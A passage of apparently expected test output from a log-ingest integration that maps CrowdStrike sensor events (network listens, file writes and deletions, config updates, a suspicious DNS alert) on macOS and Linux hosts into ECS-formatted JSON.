"{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkListenIP4\",\"ContextTimeStamp\":\"1625677507.037\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364432308748445743\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"50647\",\"Entitlements\":\"15\",\"name\":\"NetworkListenIP4MacV10\",\"id\":\"ffffffff-1111-11eb-8b36-06a8af5164a9\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff23d24c4193ffa6f270775ee5\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677507086\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff23d24c4193ffa6f270775ee5", + "os": { + "type": "macos" + } + }, + "message": "NetworkListenIP4", + "network": { + "direction": "unknown", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff23d24c4193ffa6f270775ee5", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364432308748445743" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14", + "0.0.0.0" + ] + }, + "source": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 50647 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:36.784Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "364994904864288322", + "ContextTimeStamp": "2021-07-07T17:05:36.729Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb", + "name": "ExecutableDeletedMacV1" + }, + "device": { + "id": "ffffffffa7bf46da689501ce58bd6987" + }, + "event": { + "action": "ExecutableDeleted", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:36.784Z", + "id": "ffffffff-1111-11eb-8ca0-0231588e8cbb|ffffffffa7bf46da689501ce58bd6987|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"ExecutableDeleted\",\"ContextTimeStamp\":\"1625677536.729\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364994904864288322\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ExecutableDeletedMacV1\",\"id\":\"ffffffff-1111-11eb-8ca0-0231588e8cbb\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffa7bf46da689501ce58bd6987\",\"timestamp\":\"1625677536784\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "file": { + "directory": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources", + "name": "ShipIt", + "path": "/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt", + "type": "file" + }, + "host": { + "id": "ffffffffa7bf46da689501ce58bd6987", + "os": { + "type": "macos" + } + }, + "message": "ExecutableDeleted", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffa7bf46da689501ce58bd6987", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364994904864288322", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:04.614Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "362897421906895953", + "ContextTimeStamp": "2021-07-07T17:05:04.542Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9320-06d410e6f705", + "name": "GzipFileWrittenMacV1" + }, + "device": { + "id": "fffffffffc2c4e4fa9c08e1a8388e5f9" + }, + "event": { + "action": "GzipFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:05:04.614Z", + "id": "ffffffff-1111-11eb-9320-06d410e6f705|fffffffffc2c4e4fa9c08e1a8388e5f9|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"event_simpleName\":\"GzipFileWritten\",\"ContextTimeStamp\":\"1625677504.542\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"362897421906895953\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000501f510700000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GzipFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-9320-06d410e6f705\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"fffffffffc2c4e4fa9c08e1a8388e5f9\",\"timestamp\":\"1625677504614\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz\"}" + }, + "file": { + "directory": "/private/var/db/powerlog/Library/BatteryLife/Archives", + "extension": "gz", + "inode": "04000001000000000000000000000000501f510700000000", + "name": "powerlog_2021-07-05_CC5F9FC1.PLSQL.gz", + "path": "/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz", + "type": "file" + }, + "host": { + "id": "fffffffffc2c4e4fa9c08e1a8388e5f9", + "os": { + "type": "macos" + } + }, + "message": "GzipFileWritten", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "fffffffffc2c4e4fa9c08e1a8388e5f9", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "362897421906895953", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:40.056Z", + "crowdstrike": { + "ConfigStateHash": "3967242894", + "ContextTimeStamp": "2021-07-07T01:52:50.595Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "IOServiceClass": "IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject", + "IOServiceName": "Touch Bar Backlight", + "IOServicePath": "IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "IOServiceRegisterMacV1" + }, + "device": { + "id": "ffffffff44564c2f8d76394cb25c31ab" + }, + "event": { + "action": "IOServiceRegister", + "category": [ + "package" + ], + "created": "2021-07-07T17:04:40.056Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"IOServiceRegister\",\"ContextTimeStamp\":\"1625622770.595\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"IOServiceClass\":\"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject\",\"ConfigBuild\":\"1007.4.0013701.1\",\"IOServicePath\":\"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000\",\"event_platform\":\"Mac\",\"IOServiceProperties\":\"\",\"Entitlements\":\"15\",\"name\":\"IOServiceRegisterMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"IOServiceName\":\"Touch Bar Backlight\",\"timestamp\":\"1625677480056\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "IOServiceRegister", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:38.739Z", + "crowdstrike": { + "ConfigStateHash": "3967242894", + "ContextProcessId": "364938416497226937", + "ContextTimeStamp": "2021-07-07T01:50:02.031Z", + "DeviceId": "251658248", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "PtyCreatedMacV1" + }, + "device": { + "id": "251658248" + }, + "event": { + "action": "PtyCreated", + "category": [ + "file" + ], + "created": "2021-07-07T17:04:38.739Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"PtyCreated\",\"ContextTimeStamp\":\"1625622602.031\",\"ConfigStateHash\":\"3967242894\",\"ContextProcessId\":\"364938416497226937\",\"DeviceId\":\"251658248\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PtyCreatedMacV1\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677478739\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "PtyCreated", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364938416497226937", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:35.967Z", + "crowdstrike": { + "ConfigStateHash": "1803419442", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "InterfaceIndex": 18, + "LocalAddressIP4": [ + "67.43.156.14" + ], + "NetLuidIndex": 2, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf", + "name": "LocalIpAddressRemovedIP4MacV1" + }, + "device": { + "id": "ffffffff5ae3449ab33a1809fe6c5ce2" + }, + "event": { + "action": "LocalIpAddressRemovedIP4", + "category": [ + "configuration", + "host" + ], + "created": "2021-07-07T17:04:35.967Z", + "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf|ffffffff5ae3449ab33a1809fe6c5ce2|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"1803419442\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"18\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP4MacV1\",\"id\":\"ffffffff-1111-11eb-b7b7-066cc89bcebf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff5ae3449ab33a1809fe6c5ce2\",\"timestamp\":\"1625677475967\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff5ae3449ab33a1809fe6c5ce2", + "os": { + "type": "macos" + } + }, + "message": "LocalIpAddressRemovedIP4", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff5ae3449ab33a1809fe6c5ce2", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "1803419442" + ], + "ip": [ + "67.43.156.14" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:35.413Z", + "crowdstrike": { + "ConfigStateHash": "1701000200", + "ConnectionFlags": "0", + "ContextProcessId": "12241681491990", + "ContextTimeStamp": "2021-07-07T17:04:34.875Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "0:0:0:0:0:0:0:1" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8130-02cde7751097", + "name": "NetworkCloseIP6LinV6" + }, + "destination": { + "address": "0:0:0:0:0:0:0:1", + "ip": "0:0:0:0:0:0:0:1", + "port": 9 + }, + "device": { + "id": "ffffffff335f47ca89cad6a19f203bbd" + }, + "event": { + "action": "NetworkCloseIP6", + "category": [ + "network" + ], + "created": "2021-07-07T17:04:35.413Z", + "id": "ffffffff-1111-11eb-8130-02cde7751097|ffffffff335f47ca89cad6a19f203bbd|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"NetworkCloseIP6\",\"ContextTimeStamp\":\"1625677474.875\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12241681491990\",\"RemotePort\":\"9\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59999\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP6LinV6\",\"id\":\"ffffffff-1111-11eb-8130-02cde7751097\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff335f47ca89cad6a19f203bbd\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677475413\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "end", + "connection" + ] + }, + "host": { + "id": "ffffffff335f47ca89cad6a19f203bbd", + "os": { + "type": "linux" + } + }, + "message": "NetworkCloseIP6", + "network": { + "community_id": "1:3WneLMsNfPNapoUBcHO8QHx99mg=", + "direction": "unknown", + "iana_number": "17", + "transport": "udp" + }, + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff335f47ca89cad6a19f203bbd", + "version": "1007.8.0011308.1" + }, + "process": { + "entity_id": "12241681491990" + }, + "related": { + "hash": [ + "1701000200" + ], + "ip": [ + "67.43.156.13", + "0:0:0:0:0:0:0:1" + ] + }, + "source": { + "address": "0:0:0:0:0:0:0:1", + "ip": "0:0:0:0:0:0:0:1", + "port": 59999 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:50.580Z", + "crowdstrike": { + "ConfigStateData": [ + "0,0,1007.8.0011611.1", + "1,c,0", + "1,22,6", + "1,59,2d", + "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205" + ], + "ConfigStateHash": "1156120155", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-af89-06c111484f9f", + "name": "ConfigStateUpdateLinV2" + }, + "device": { + "id": "ffffffffa74a4c89b9984a3a7124bb9d" + }, + "event": { + "action": "ConfigStateUpdate", + "category": [ + "configuration" + ], + "created": "2021-07-07T17:04:50.580Z", + "id": "ffffffff-1111-11eb-af89-06c111484f9f|ffffffffa74a4c89b9984a3a7124bb9d|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1156120155\",\"ConfigStateData\":\"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV2\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-af89-06c111484f9f\",\"aid\":\"ffffffffa74a4c89b9984a3a7124bb9d\",\"timestamp\":\"1625677490580\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffffa74a4c89b9984a3a7124bb9d", + "os": { + "type": "linux" + } + }, + "message": "ConfigStateUpdate", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffa74a4c89b9984a3a7124bb9d", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:53.756Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "364839648316192383", + "ContextTimeStamp": "2021-07-07T17:04:53.531Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529", + "name": "SuspiciousDnsRequestMacV1" + }, + "device": { + "id": "ffffffff0cd64fb78626ab1b6c65ac8c" + }, + "dns": { + "question": { + "name": "hg-t2.dotice.me", + "registered_domain": "dotice.me", + "subdomain": "hg-t2", + "top_level_domain": "me", + "type": "A" + }, + "type": "query" + }, + "event": { + "action": "SuspiciousDnsRequest", + "category": [ + "network" + ], + "created": "2021-07-07T17:04:53.756Z", + "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529|ffffffff0cd64fb78626ab1b6c65ac8c|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "alert", + "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1625677493.531\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364839648316192383\",\"DomainName\":\"hg-t2.dotice.me\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"SuspiciousDnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-a4a3-02cbdfb8f529\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff0cd64fb78626ab1b6c65ac8c\",\"timestamp\":\"1625677493756\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"1\"}", + "outcome": "success", + "type": [ + "start", + "protocol" + ] + }, + "host": { + "id": "ffffffff0cd64fb78626ab1b6c65ac8c", + "os": { + "type": "macos" + } + }, + "message": "SuspiciousDnsRequest", + "network": { + "protocol": "dns" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff0cd64fb78626ab1b6c65ac8c", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364839648316192383", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:30.922Z", + "crowdstrike": { + "ConfigStateHash": "1156120155", + "ErrorStatus": "3759276032", + "Facility": "16778240", + "File": "0", + "Line": "96", + "Parameter1": "18446744072635810412", + "Parameter2": "0", + "Parameter3": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb", + "name": "ErrorEventLinV1" + }, + "device": { + "id": "ffffffffabd047b1a86c1fcd8ef22b59" + }, + "event": { + "action": "ErrorEvent", + "category": [ + "package" + ], + "created": "2021-07-07T17:05:30.922Z", + "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb|ffffffffabd047b1a86c1fcd8ef22b59|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"Parameter2\":\"0\",\"event_simpleName\":\"ErrorEvent\",\"Parameter1\":\"18446744072635810412\",\"Parameter3\":\"0\",\"ConfigStateHash\":\"1156120155\",\"aip\":\"67.43.156.14\",\"Line\":\"96\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ErrorStatus\":\"3759276032\",\"name\":\"ErrorEventLinV1\",\"id\":\"ffffffff-1111-11eb-bdd3-0681aa29cecb\",\"Facility\":\"16778240\",\"aid\":\"ffffffffabd047b1a86c1fcd8ef22b59\",\"File\":\"0\",\"timestamp\":\"1625677530922\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "failure", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffffabd047b1a86c1fcd8ef22b59", + "os": { + "type": "linux" + } + }, + "message": "ErrorEvent", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffabd047b1a86c1fcd8ef22b59", + "version": "1007.8.0011611.1" + }, + "related": { + "hash": [ + "1156120155" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:30.590Z", + "crowdstrike": { + "ConfigStateData": [ + "0,0,1007.4.0013701.1", + "1,2,1", + "1,4,a", + "1,6,0", + "1,8,46", + "1,a,1", + "1,c,0", + "1,17,1f", + "1,18,18", + "1,19,0", + "1,1e,407", + "1,21,3d2", + "1,27,1", + "1,53,18b", + "1,56,0", + "1,d0,16d", + "1,d1,0", + "1,d2,0", + "1,df,4c", + "1,e0,6", + "1,f6,1", + "1,1f5,1", + "1,1f7,1", + "1,1fd,1", + "1,200,0", + "2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0", + "3,0,65" + ], + "ConfigStateHash": "3090255842", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8dc4-0234c12f9875", + "name": "ConfigStateUpdateMacV2" + }, + "device": { + "id": "ffffffffa15a452190ae454f7d33e07e" + }, + "event": { + "action": "ConfigStateUpdate", + "category": [ + "configuration" + ], + "created": "2021-07-07T17:05:30.590Z", + "id": "ffffffff-1111-11eb-8dc4-0234c12f9875|ffffffffa15a452190ae454f7d33e07e|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"ConfigStateUpdate\",\"ConfigStateHash\":\"3090255842\",\"ConfigStateData\":\"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ConfigStateUpdateMacV2\",\"id\":\"ffffffff-1111-11eb-8dc4-0234c12f9875\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffa15a452190ae454f7d33e07e\",\"timestamp\":\"1625677530590\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": 